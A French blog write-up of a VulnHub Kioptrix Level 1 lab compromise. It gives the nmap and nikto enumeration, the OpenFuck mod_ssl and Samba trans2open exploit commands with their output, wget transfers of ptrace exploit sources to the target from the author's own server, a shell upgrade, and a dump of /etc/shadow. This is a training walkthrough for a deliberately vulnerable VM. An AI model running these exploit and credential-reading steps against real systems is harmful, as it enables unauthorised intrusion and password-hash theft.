Kioptrix: Level 1 (#1)

09/11/2025 Pitichampi

Dans le pentest le plus important c’est l’entraînement. Pour ça il existe un super site qui se nomme vulnhub. Ce site propose un tas de machines virtuelles prêtes à se faire démonter par tout pentester en herbe.

Aujourd’hui j’ai attaqué mon premier pentest avec la première VM de Kioptrix, une vieille machine toute rouillée qui date vraiment et pour laquelle l’admin ne fait rien depuis des années.

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges. ——— Kioptrix team

Préparation

Alors comme pour tout bon exercice de pentest on récupère la vm et on l’installe. Vu qu’elle est au format VMware et que j’ai pas envie de l’installer, je la convertis rapidement au format virtualbox et je la met en place. Pour l’attaquer plus simplement je configure un réseau bridgé ainsi la VM a sa propre ip sur mon réseau. Et surtout je n’oublie pas d’autoriser le mode promiscuité on va voir pourquoi c’est important.

Ensuite il suffit simplement de booter la machine et c’est parti !

De l’autre côté je lance mon petit ordi sous Kali et je commence les premiers tests

Découverte

Tout d’abord je dois trouver l’ip de la machine. Bon je connais déjà l’architecture de mon réseau donc je n’ai qu’à chercher quelle nouvelle machine est apparue. Note importante. Si je n’avais pas activé le mode promiscuité je n’aurais pas pu trouver la machine ! Celle-ci étant dissimulée par le gestionnaire de la VM. Bon j’aurais pu m’amuser à pinger toutes les ip possible du réseau mais c’est pas super super clean… et pas efficace. En principe on attaque des machines visibles. En tout cas c’est l’idée dans cet exercice.

Donc on lance une petite recherche avec nmap des nouvelles machines et hop, la coquine est vite repérée. Il est temps de découvrir ce qu’elle propose…

Host is up (0.0013s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:ED:A1:D9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.23 seconds

Analyse : Un Musée Informatique

Bon alors là, premier constat : cette machine c’est littéralement un musée. On parle de versions datant de 2001, soit il y a plus de 20 ans. Pour vous donner une idée, à l’époque Windows XP venait tout juste de sortir et on écoutait encore de la musique sur des CD.

Les versions identifiées sont toutes obsolètes :

OpenSSH 2.9p2 avec le protocole 1.99 (vulnérable à plein d’attaques)
Apache 1.3.20 avec mod_ssl 2.8.4 et OpenSSL 0.9.6b
Un Samba qui tourne sur le port 139
Un kernel Linux 2.4.x qui date de l’époque où on louait encore des cassettes vidéo

Bref, c’est du lourd. Enfin, du vieux, mais vous voyez l’idée.

Énumération Web : Premier Échec

Classiquement, je commence par énumérer les services web. Je lance nikto sur le port 80 pour voir ce qui traîne :

nikto -h http://192.168.1.104

Le scan me remonte pas mal de choses intéressantes :

Des vulnérabilités Apache anciennes
Une faille mod_ssl 2.8.4 - Remote Buffer Overflow qui devrait permettre un shell distant
Une tentative de path traversal avec ///etc/hosts
Plusieurs “backdoors” détectés (spoiler : c’était des faux positifs)

Je teste rapidement les backdoors signalés et le path traversal. Résultat : que des 404. Nikto s’est un peu emballé avec ses signatures génériques pour détecter des webshells WordPress sur une machine de 2001. Bon, on passe à autre chose.

OpenFuck : Le Chemin Classique (Mais Compliqué)

La vulnérabilité mod_ssl identifiée par nikto c’est la fameuse OpenFuck (ou OpenLuck selon les versions). C’est un exploit historique qui permet d’obtenir un shell à distance en exploitant un buffer overflow dans mod_ssl.

Je cherche dans searchsploit :

searchsploit mod_ssl
searchsploit openfuck

Bingo, j’ai plusieurs résultats. Je récupère OpenFuckV2 qui est censé être la version améliorée :

searchsploit -m [numéro_exploit]
gcc -o openfuck exploit.c -lcrypto

Et là… premier problème de compilation. Ces vieux exploits ne compilent plus vraiment bien sur des systèmes modernes. Après quelques ajustements (suppression de certains includes obsolètes), ça passe enfin.

Je lance l’exploit sans arguments pour voir les offsets disponibles. Il faut trouver la bonne combinaison OS/version d’Apache. Après quelques essais avec différents offsets pour Red Hat Linux :

./openfuck 0x6b 192.168.1.104 443 -c 40

Ça marche ! J’obtiens un shell en tant qu’utilisateur apache. Bon, c’est déjà ça, mais je suis loin du root. Il va falloir escalader les privilèges.

L’Enfer des Exploits Kernel

Maintenant que j’ai un accès en tant qu’apache, l’objectif c’est de devenir root. Avec un kernel Linux 2.4.7, il existe une tonne d’exploits locaux connus. Je commence par identifier la version exacte :

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

Parfait, kernel 2.4.7. Je cherche les exploits disponibles :

searchsploit linux kernel 2.4.7
searchsploit ptrace 2.4

Première Tentative : Les Exploits Ptrace

Je trouve plusieurs exploits ptrace qui sont réputés pour fonctionner sur les kernels 2.4.x. Je les récupère, je tente de les compiler sur ma Kali et… c’est le drame.

Erreur après erreur. linux/user.h introuvable. Problèmes de compatibilité partout. Ces exploits ont été écrits il y a 20 ans et les systèmes modernes ne veulent plus en entendre parler.

J’essaie de patcher les fichiers, de commenter les includes qui posent problème, de compiler avec différentes options… Rien n’y fait. Après une bonne demi-heure de galère, j’abandonne cette piste. Trop de temps perdu sur des problèmes de compilation.

Deuxième Tentative : Compilation sur la Cible

Moment eurêka : et si je compilais directement sur la machine cible ? Elle a peut-être gcc installé avec les bonnes bibliothèques de l’époque !

which gcc
# /usr/bin/gcc

Jackpot ! La machine a gcc. Je monte un serveur HTTP sur ma Kali :

python3 -m http.server 8000

Et depuis mon shell apache sur la cible :

cd /tmp
wget http://[MON_IP]:8000/ptrace-exp.c
wget http://[MON_IP]:8000/insertshellcode.c
gcc -o shellcode insertshellcode.c
gcc -o ptrace-exp ptrace-exp.c

Ça compile ! Bon, là je me dis que c’est gagné. J’exécute l’exploit et… nouvelle déception. L’exploit plante avec une erreur tcsetattr: Invalid argument. Le shell n’est pas vraiment interactif et l’exploit ne gère pas bien ça.

J’essaie d’upgrader mon shell avec Python :

python -c 'import pty; pty.spawn("/bin/bash")'

Je relance l’exploit. Il affiche “attached” (bon signe), puis… plus rien. Le shell se fige. J’attends. Toujours rien. Je tape des commandes à l’aveugle. Rien ne se passe.

Pire, à force de triturer les processus avec ptrace, je finis par me faire éjecter de mon shell apache. Il faut tout recommencer avec OpenFuck.

Troisième, Quatrième, Cinquième Tentative…

J’essaie tous les exploits ptrace que je trouve. Avec différents PIDs de processus root. Avec différentes options. Rien ne fonctionne correctement. Soit ça compile pas, soit ça plante, soit le shell devient inutilisable.

Je teste également :

L’exploit suidperl (j’ai bien /usr/bin/suidperl en SUID sur la machine) mais il me sort une erreur de syntaxe Perl
Des exploits kmod qui refusent de compiler
D’autres exploits kernel qui se plantent lamentablement

Bref, après deux heures à galérer avec des exploits kernel qui ne veulent pas coopérer, je commence à me demander si je vais y arriver.

Retour aux Fondamentaux : Samba

À ce stade, je fais une pause et je réfléchis. J’ai identifié plusieurs services au départ. J’ai exploité Apache. J’ai galéré avec les exploits kernel. Mais il reste un service que je n’ai pas vraiment exploré : Samba sur le port 139.

En fait, avec le recul, j’aurais dû commencer par là. Le SMB c’est historiquement un vrai gruyère en termes de sécurité, surtout sur des versions aussi anciennes.

Je lance enum4linux pour énumérer le service Samba :

enum4linux -a 192.168.1.104

Les informations récupérées sont un peu cryptiques mais je vois :

Server type: Samba Server
Workgroup: MYGROUP
Des partages IPC$ et ADMIN$ (classiques)
Le nom “Kioptrix” qui me confirme que c’est bien la VM attendue

Surtout, je sais maintenant que c’est un vieux Samba. Je cherche les exploits disponibles :

searchsploit samba 2.2
searchsploit samba trans2open

Et là, bingo. Des tonnes d’exploits pour Samba < 2.2.8. Le plus intéressant : multiple/remote/10.c qui promet un Remote Code Execution.

Je le récupère et je le compile (cette fois sans problème, comme quoi) :

searchsploit -m multiple/remote/10.c
gcc -o samba_exploit 10.c
./samba_exploit

L’exploit m’affiche les options disponibles. Il faut spécifier un type de cible avec l’option -b (pour bruteforce mode) et l’IP cible. Je lance :

./samba_exploit -b 0 -t 192.168.1.104

Le terminal affiche : ``` samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

Bruteforce mode. (Linux)
Host is running samba.
Worked!

*** JE MOET JE MUIL HOUWE Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=99(nobody)


**ROOT !**

Le shell est un peu figé (ces vieux exploits ne gèrent pas toujours bien les terminaux interactifs), mais je peux taper des commandes. Je vérifie :

```bash
whoami
# root
id
# uid=0(root) gid=0(root) groups=99(nobody)
cat /etc/shadow
# [tous les hashes de mots de passe s'affichent]

Victoire ! J’ai réussi à obtenir un accès root sur la machine avec l’exploit Samba trans2open.

Leçons Apprises

Cette première expérience de pentest m’a appris plusieurs choses importantes :

1. Prioriser les Bons Vecteurs d’Attaque

Avec le recul, j’aurais dû commencer par le port 139 (Samba). C’était le vecteur le plus direct :

Un seul exploit à lancer
Accès root immédiat
Pas besoin d’escalade de privilèges

Au lieu de ça, j’ai passé des heures à galérer avec des exploits kernel qui ne compilaient pas. C’est une leçon importante : tous les vecteurs ne se valent pas. Il faut savoir identifier les chemins les plus prometteurs rapidement.

2. La Compilation d’Exploits Anciens, C’est L’Enfer

Les exploits écrits il y a 20 ans ne fonctionnent plus out-of-the-box sur des systèmes modernes. Entre les bibliothèques manquantes, les headers obsolètes, et les incompatibilités diverses, c’est un vrai parcours du combattant.

La solution de compiler directement sur la cible (quand c’est possible) est souvent plus efficace que de passer des heures à patcher du code ancien.

3. L’Importance de la Persévérance

J’ai failli abandonner plusieurs fois. Les exploits ptrace qui plantent, les erreurs de compilation, le shell qui se fige… C’est frustrant. Mais c’est comme ça qu’on apprend. Chaque échec m’a appris quelque chose sur le fonctionnement des exploits, la gestion des shells, et la méthodologie de pentest.

4. L’Énumération, Toujours l’Énumération

J’ai énuméré les services au départ avec nmap et nikto, mais je ne suis pas allé assez loin avec Samba. Si j’avais fait une énumération plus complète dès le début (enum4linux, tests d’accès, recherche d’exploits spécifiques), j’aurais gagné beaucoup de temps.

Conclusion

Kioptrix Level 1 est une excellente introduction au pentesting. Elle enseigne les bases :

Énumération des services
Recherche et utilisation d’exploits
Gestion des problèmes de compilation
Escalade de privilèges
Persévérance face aux échecs

Le chemin optimal aurait été : énumération complète → identification de Samba vulnérable → exploit trans2open → root en 10 minutes.

Mon chemin réel : énumération partielle → Apache mod_ssl → shell apache → 2h de galère avec des exploits kernel → désespoir → retour à Samba → root.

Mais c’est exactement ça, apprendre. On ne devient pas pentester en suivant des walkthroughs. On le devient en galérant, en se plantant, en recommençant, et en finissant par réussir.

Ressources utiles :

VulnHub - Kioptrix Level 1
Exploit-DB pour la recherche d’exploits

10 minutes de lecture